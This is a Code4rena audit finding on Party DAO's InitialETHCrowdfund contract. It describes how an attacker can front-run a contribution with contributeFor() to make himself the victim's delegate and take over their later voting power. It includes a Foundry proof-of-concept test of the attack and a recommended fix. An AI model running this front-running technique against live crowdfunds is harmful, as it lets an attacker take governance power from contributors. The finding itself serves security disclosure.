Party DAO - minimalproxy's results

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L235 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernanceNFT.sol#L166

Vulnerability details

When calling contributeFor a user can contribute ETH for another user and mint him a party card. If the recipient didn't have a delegate then it will use the delegate passed by the caller.

If the recipient later on decide to contribute by himself calling contribute() the delegate will be updated with the one he passed.

But this update only happens at the InitialETHCrowdfund contract and not at the party level.

The party will only update the delegate on the first mint and then reuse the internal one every time.

// Use delegate from party over the one set during crowdfund.
address delegate_ = delegationsByVoter[owner];
if (delegate_ != address(0)) {
  delegate = delegate_;
}

Eventually if a user wants to change his delegate he will have to call delegateVotingPower() on the party.

Impact

An attacker could frontrun contributions by calling contributeFor() for the user about to contribute and use the minimum contribution allowed by the party and set himself as delegate.

This would result in the contribute() transaction of the user to delegate the new voting power to the attacker and not the passed delegate.

If users don't check that their delegate voting power increased after contributing, an attacker could grow in voting power and submit malicious proposals once the crowdfunding is over leaving the host veto power as only protection.

Users might be notified and call delegateVotingPower() to update their delegate but it'll be too late if the proposal has been submitted as it uses the voting power snapshot taken at the time of the proposal submission.

Proof of Concept

Here is a POC that can be used in the InitialETHCrowdfund.t.sol using the command forge test --match-test test_frontrunWithcontributeForToBecomeDelegate.

function test_frontrunWithcontributeForToBecomeDelegate() public {
        //setup poc
        uint96 minimalContribution = 0.01 ether;
        InitialETHCrowdfund crowdfund = _createCrowdfund(
            CreateCrowdfundArgs({
                initialContribution: 0,
                initialContributor: payable(address(0)),
                initialDelegate: address(0),
                minContributions: minimalContribution,
                maxContributions: type(uint96).max,
                disableContributingForExistingCard: false,
                minTotalContributions: 3 ether,
                maxTotalContributions: 5 ether,
                duration: 7 days,
                exchangeRateBps: 1e4,
                fundingSplitBps: 0,
                fundingSplitRecipient: payable(address(0)),
                gateKeeper: IGateKeeper(address(0)),
                gateKeeperId: bytes12(0)
            })
        );
        Party party = crowdfund.party();

        //create address and fund them
        address attacker = _randomAddress();
        address payable recipient = _randomAddress();
        vm.deal(attacker, minimalContribution);
        vm.deal(recipient, 1 ether);

        // frontrun and contribute for recipient using ourselves as delegate
        vm.prank(attacker);
        crowdfund.contributeFor{ value: minimalContribution }(0, recipient, attacker, "");

        //recipient got his tokenId and attacker got minimalContribution power delegated to him
        uint256 tokenId = 1;
        assertEq(party.ownerOf(tokenId), recipient);
        assertEq(party.votingPowerByTokenId(tokenId), minimalContribution);
        assertEq(PartyGovernance(party).getVotingPowerAt(attacker, uint40(block.timestamp)), minimalContribution);
        assertEq(crowdfund.delegationsByContributor(recipient), attacker);

        // Recipient tx comes in
        vm.prank(recipient);
        address recipientDelegate = _randomAddress();
        crowdfund.contribute{ value: 1 ether }(0, recipientDelegate, "");

        // Check changes
        tokenId = 2;
        assertEq(party.ownerOf(tokenId), recipient);
        assertEq(party.votingPowerByTokenId(tokenId), 1 ether);
        // Our attacker delegation increased even tho the recipient didn't want to delegate to us
        assertEq(PartyGovernance(party).getVotingPowerAt(attacker, uint40(block.timestamp)), minimalContribution + 1 ether);
        // the crowdfun delegate updated but it didn't impact attacker's voting power
        assertEq(crowdfund.delegationsByContributor(recipient), recipientDelegate);
        // recipientDelegate power is 0
        assertEq(PartyGovernance(party).getVotingPowerAt(recipientDelegate, uint40(block.timestamp)), 0);
    }

Tools Used

Manual review.

Recommended Mitigation Steps

Update the PartyGovernanceNFT.mint() function to overwrite the delegate when the contributor is the msg.sender in InitialETHCrowdfund_contribute().

Assessed type

MEV